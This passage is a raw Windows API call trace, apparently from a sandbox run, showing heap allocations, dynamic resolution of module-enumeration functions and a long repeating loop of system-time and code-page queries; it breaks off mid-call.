SetLastError (dwErrCode=0x0) [0052.841] GetLastError () returned 0x0 [0052.841] SetLastError (dwErrCode=0x0) [0052.841] GetLastError () returned 0x0 [0052.841] SetLastError (dwErrCode=0x0) [0052.841] GetLastError () returned 0x0 [0052.842] SetLastError (dwErrCode=0x0) [0052.842] GetLastError () returned 0x0 [0052.842] SetLastError (dwErrCode=0x0) [0052.842] GetLastError () returned 0x0 [0052.842] SetLastError (dwErrCode=0x0) [0052.842] GetLastError () returned 0x0 [0052.842] SetLastError (dwErrCode=0x0) [0052.842] GetLastError () returned 0x0 [0052.842] SetLastError (dwErrCode=0x0) [0052.842] GetLastError () returned 0x0 [0052.842] SetLastError (dwErrCode=0x0) [0052.842] GetLastError () returned 0x0 [0052.842] SetLastError (dwErrCode=0x0) [0052.842] GetLastError () returned 0x0 [0052.842] SetLastError (dwErrCode=0x0) [0052.842] GetLastError () returned 0x0 [0052.842] SetLastError (dwErrCode=0x0) [0052.842] GetLastError () returned 0x0 [0052.842] SetLastError (dwErrCode=0x0) [0052.842] GetLastError () returned 0x0 [0052.842] SetLastError (dwErrCode=0x0) [0052.842] GetLastError () returned 0x0 [0052.842] SetLastError (dwErrCode=0x0) [0052.842] GetLastError () returned 0x0 [0052.842] SetLastError (dwErrCode=0x0) [0052.843] GetLastError () returned 0x0 [0052.843] SetLastError (dwErrCode=0x0) [0052.843] GetLastError () returned 0x0 [0052.843] SetLastError (dwErrCode=0x0) [0052.843] GetLastError () returned 0x0 [0052.843] SetLastError (dwErrCode=0x0) [0052.843] GetLastError () returned 0x0 [0052.843] SetLastError (dwErrCode=0x0) [0052.843] GetLastError () returned 0x0 [0052.843] SetLastError (dwErrCode=0x0) [0052.843] GetLastError () returned 0x0 [0052.843] SetLastError (dwErrCode=0x0) [0052.843] GetLastError () returned 0x0 [0052.843] SetLastError (dwErrCode=0x0) [0052.843] GetLastError () returned 0x0 [0052.843] SetLastError (dwErrCode=0x0) [0052.843] GetLastError () returned 0x0 [0052.843] SetLastError (dwErrCode=0x0) [0052.843] GetLastError () returned 0x0 [0052.843] SetLastError (dwErrCode=0x0) [0052.843] GetLastError () returned 0x0 [0052.843] SetLastError (dwErrCode=0x0) [0052.843] GetLastError () returned 0x0 [0052.843] SetLastError (dwErrCode=0x0) [0052.843] GetLastError () returned 0x0 [0052.844] SetLastError (dwErrCode=0x0) [0052.844] GetLastError () returned 0x0 [0052.844] SetLastError (dwErrCode=0x0) [0052.844] GetLastError () returned 0x0 [0052.844] SetLastError (dwErrCode=0x0) [0052.844] GetLastError () returned 0x0 [0052.844] SetLastError (dwErrCode=0x0) [0052.844] GetLastError () returned 0x0 [0052.844] SetLastError (dwErrCode=0x0) [0052.844] GetLastError () returned 0x0 [0052.844] SetLastError (dwErrCode=0x0) [0052.844] GetLastError () returned 0x0 [0052.844] SetLastError (dwErrCode=0x0) [0052.844] GetLastError () returned 0x0 [0052.844] SetLastError (dwErrCode=0x0) [0052.844] GetLastError () returned 0x0 [0052.844] SetLastError (dwErrCode=0x0) [0052.845] GetLastError () returned 0x0 [0052.845] SetLastError (dwErrCode=0x0) [0052.845] GetLastError () returned 0x0 [0052.845] SetLastError (dwErrCode=0x0) [0052.845] GetLastError () returned 0x0 [0052.845] SetLastError (dwErrCode=0x0) [0052.845] GetLastError () returned 0x0 [0052.845] SetLastError (dwErrCode=0x0) [0052.845] GetLastError () returned 0x0 [0052.845] SetLastError (dwErrCode=0x0) [0052.845] GetLastError () returned 0x0 [0052.845] SetLastError (dwErrCode=0x0) [0052.845] GetLastError () returned 0x0 [0052.845] SetLastError (dwErrCode=0x0) [0052.845] GetLastError () returned 0x0 [0052.845] SetLastError (dwErrCode=0x0) [0052.845] GetLastError () returned 0x0 [0052.845] SetLastError (dwErrCode=0x0) [0052.845] GetLastError () returned 0x0 [0052.845] SetLastError (dwErrCode=0x0) [0052.845] GetLastError () returned 0x0 [0052.845] SetLastError (dwErrCode=0x0) [0052.845] GetLastError () returned 0x0 [0052.845] SetLastError (dwErrCode=0x0) [0052.845] GetLastError () returned 0x0 [0052.845] SetLastError (dwErrCode=0x0) [0052.846] GetLastError () returned 0x0 [0052.846] SetLastError (dwErrCode=0x0) [0052.846] GetLastError () returned 0x0 [0052.846] SetLastError (dwErrCode=0x0) [0052.846] GetLastError () returned 0x0 [0052.846] SetLastError (dwErrCode=0x0) [0052.846] GetLastError () returned 0x0 [0052.846] SetLastError (dwErrCode=0x0) [0052.846] GetLastError () returned 0x0 [0052.846] SetLastError (dwErrCode=0x0) [0052.846] GetLastError () returned 0x0 [0052.846] SetLastError (dwErrCode=0x0) [0052.846] GetLastError () returned 0x0 [0052.846] SetLastError (dwErrCode=0x0) [0052.846] GetLastError () returned 0x0 [0052.846] SetLastError (dwErrCode=0x0) [0052.846] GetLastError () returned 0x0 [0052.846] SetLastError (dwErrCode=0x0) [0052.846] GetLastError () returned 0x0 [0052.846] SetLastError (dwErrCode=0x0) [0052.846] GetLastError () returned 0x0 [0052.846] SetLastError (dwErrCode=0x0) [0052.846] GetLastError () returned 0x0 [0052.846] SetLastError (dwErrCode=0x0) [0052.846] GetLastError () returned 0x0 [0052.847] SetLastError (dwErrCode=0x0) [0052.847] GetLastError () returned 0x0 [0052.847] SetLastError (dwErrCode=0x0) [0052.847] GetLastError () returned 0x0 [0052.847] SetLastError (dwErrCode=0x0) [0052.847] GetLastError () returned 0x0 [0052.847] SetLastError (dwErrCode=0x0) [0052.847] GetLastError () returned 0x0 [0052.847] SetLastError (dwErrCode=0x0) [0052.847] GetLastError () returned 0x0 [0052.847] SetLastError (dwErrCode=0x0) [0052.847] GetLastError () returned 0x0 [0052.847] SetLastError (dwErrCode=0x0) [0052.847] GetLastError () returned 0x0 [0052.847] SetLastError (dwErrCode=0x0) [0052.847] GetLastError () returned 0x0 [0052.847] SetLastError (dwErrCode=0x0) [0052.847] GetLastError () returned 0x0 [0052.847] SetLastError (dwErrCode=0x0) [0052.847] GetLastError () returned 0x0 [0052.847] SetLastError (dwErrCode=0x0) [0052.847] GetLastError () returned 0x0 [0052.847] SetLastError (dwErrCode=0x0) [0052.847] GetLastError () returned 0x0 [0052.847] SetLastError (dwErrCode=0x0) [0052.847] GetLastError () returned 0x0 [0052.848] SetLastError (dwErrCode=0x0) [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x98) returned 0x311a00 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x1f) returned 0x311aa0 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x36) returned 0x311ac8 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x37) returned 0x311b08 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x3c) returned 0x311b48 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x31) returned 0x311b90 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x17) returned 0x311bd0 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x24) returned 0x311bf0 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x14) returned 0x311c20 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xd) returned 0x311c40 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x25) returned 0x311c58 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x39) returned 0x311c88 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x18) returned 0x311cd0 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x17) returned 0x311cf0 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xe) returned 0x311d10 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x69) returned 0x311d28 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x3e) returned 0x311da0 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x1b) returned 0x311de8 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x1d) returned 0x311e10 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x48) returned 0x311e38 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x12) returned 0x311e88 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x18) returned 0x311ea8 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x1b) returned 0x311ec8 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x24) returned 0x311ef0 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x29) returned 0x311f20 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x1e) returned 0x311f58 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x41) returned 0x311f80 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x17) returned 0x311fd0 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xf) returned 0x311ff0 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x16) returned 0x312008 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x2a) returned 0x312028 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x29) returned 0x312060 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x15) returned 0x312098 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x1e) returned 0x3120b8 [0052.848] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x2a) returned 0x3120e0 [0052.849] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x12) returned 0x312118 [0052.849] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x18) returned 0x312138 [0052.849] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x46) returned 0x312158 [0052.849] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3111f8 | out: hHeap=0x310000) returned 1 [0052.850] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x800) returned 0x3121a8 [0052.850] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x80) returned 0x3111f8 [0052.850] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0052.850] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x3111f8) returned 0x80 [0052.850] GetLastError () returned 0x0 [0052.850] SetLastError (dwErrCode=0x0) [0052.850] GetLastError () returned 0x0 [0052.850] SetLastError (dwErrCode=0x0) [0052.851] GetLastError () returned 0x0 [0052.851] SetLastError (dwErrCode=0x0) [0052.851] GetLastError () returned 0x0 [0052.851] SetLastError (dwErrCode=0x0) [0052.851] GetLastError () returned 0x0 [0052.851] SetLastError (dwErrCode=0x0) [0052.851] GetLastError () returned 0x0 [0052.851] SetLastError (dwErrCode=0x0) [0052.851] GetLastError () returned 0x0 [0052.851] SetLastError (dwErrCode=0x0) [0052.851] GetLastError () returned 0x0 [0052.851] SetLastError (dwErrCode=0x0) [0052.851] GetLastError () returned 0x0 [0052.851] SetLastError (dwErrCode=0x0) [0052.851] GetLastError () returned 0x0 [0052.851] SetLastError (dwErrCode=0x0) [0052.851] GetLastError () returned 0x0 [0052.851] SetLastError (dwErrCode=0x0) [0052.851] GetLastError () returned 0x0 [0052.851] SetLastError (dwErrCode=0x0) [0052.851] GetLastError () returned 0x0 [0052.851] SetLastError (dwErrCode=0x0) [0052.851] GetLastError () returned 0x0 [0052.851] SetLastError (dwErrCode=0x0) [0052.851] GetLastError () returned 0x0 [0052.852] SetLastError (dwErrCode=0x0) [0052.852] GetLastError () returned 0x0 [0052.852] SetLastError (dwErrCode=0x0) [0052.852] GetLastError () returned 0x0 [0052.852] SetLastError (dwErrCode=0x0) [0052.852] GetLastError () returned 0x0 [0052.852] SetLastError (dwErrCode=0x0) [0052.852] GetLastError () returned 0x0 [0052.852] SetLastError (dwErrCode=0x0) [0052.852] GetLastError () returned 0x0 [0052.852] SetLastError (dwErrCode=0x0) [0052.852] GetLastError () returned 0x0 [0052.852] SetLastError (dwErrCode=0x0) [0052.852] GetLastError () returned 0x0 [0052.852] SetLastError (dwErrCode=0x0) [0052.852] GetLastError () returned 0x0 [0052.852] SetLastError (dwErrCode=0x0) [0052.852] GetLastError () returned 0x0 [0052.852] SetLastError (dwErrCode=0x0) [0052.852] GetLastError () returned 0x0 [0052.852] SetLastError (dwErrCode=0x0) [0052.852] GetLastError () returned 0x0 [0052.852] SetLastError (dwErrCode=0x0) [0052.852] GetLastError () returned 0x0 [0052.853] SetLastError (dwErrCode=0x0) [0052.853] GetLastError () returned 0x0 [0052.853] SetLastError (dwErrCode=0x0) [0052.853] GetLastError () returned 0x0 [0052.853] SetLastError (dwErrCode=0x0) [0052.853] GetLastError () returned 0x0 [0052.853] SetLastError (dwErrCode=0x0) [0052.853] GetLastError () returned 0x0 [0052.853] SetLastError (dwErrCode=0x0) [0052.853] GetLastError () returned 0x0 [0052.853] SetLastError (dwErrCode=0x0) [0052.853] GetLastError () returned 0x0 [0052.853] SetLastError (dwErrCode=0x0) [0052.853] GetLastError () returned 0x0 [0052.853] SetLastError (dwErrCode=0x0) [0052.853] GetLastError () returned 0x0 [0052.853] SetLastError (dwErrCode=0x0) [0052.853] GetLastError () returned 0x0 [0052.853] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.853] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0052.854] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0052.854] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0052.856] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0052.856] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0052.856] GetTickCount () returned 0x1146893 [0052.856] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.856] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.856] GetACP () returned 0x4e4 [0052.856] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.856] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.856] GetACP () returned 0x4e4 [0052.856] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.856] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.856] GetACP () returned 0x4e4 [0052.856] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.856] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.856] GetACP () returned 0x4e4 [0052.856] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.856] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.856] GetACP () returned 0x4e4 [0052.856] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.856] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.856] GetACP () returned 0x4e4 [0052.856] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.857] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.857] GetACP () returned 0x4e4 [0052.857] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.857] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.857] GetACP () returned 0x4e4 [0052.857] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.857] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.857] GetACP () returned 0x4e4 [0052.857] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.857] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.857] GetACP () returned 0x4e4 [0052.857] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.857] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.857] GetACP () returned 0x4e4 [0052.857] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.857] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.857] GetACP () returned 0x4e4 [0052.857] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.857] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.857] GetACP () returned 0x4e4 [0052.857] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.857] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.857] GetACP () returned 0x4e4 [0052.857] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.857] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.857] GetACP () returned 0x4e4 [0052.857] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.858] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.858] GetACP () returned 0x4e4 [0052.858] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.858] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.858] GetACP () returned 0x4e4 [0052.858] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.858] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.858] GetACP () returned 0x4e4 [0052.858] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.858] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.858] GetACP () returned 0x4e4 [0052.858] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.858] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.858] GetACP () returned 0x4e4 [0052.858] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.858] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.858] GetACP () returned 0x4e4 [0052.858] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.858] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.858] GetACP () returned 0x4e4 [0052.858] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.858] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.858] GetACP () returned 0x4e4 [0052.858] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.858] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.858] GetACP () returned 0x4e4 [0052.858] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.859] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.859] GetACP () returned 0x4e4 [0052.859] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.859] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.859] GetACP () returned 0x4e4 [0052.859] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.859] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.859] GetACP () returned 0x4e4 [0052.859] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.859] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.859] GetACP () returned 0x4e4 [0052.859] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.859] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.859] GetACP () returned 0x4e4 [0052.859] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.859] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.859] GetACP () returned 0x4e4 [0052.859] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.859] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.859] GetACP () returned 0x4e4 [0052.859] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.859] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.859] GetACP () returned 0x4e4 [0052.859] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.859] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.859] GetACP () returned 0x4e4 [0052.859] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.878] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.878] GetACP () returned 0x4e4 [0052.878] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.878] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.878] GetACP () returned 0x4e4 [0052.878] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.878] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.878] GetACP () returned 0x4e4 [0052.878] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.878] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.878] GetACP () returned 0x4e4 [0052.878] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.878] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.878] GetACP () returned 0x4e4 [0052.878] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.878] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.878] GetACP () returned 0x4e4 [0052.879] GetSystemTimes (in: 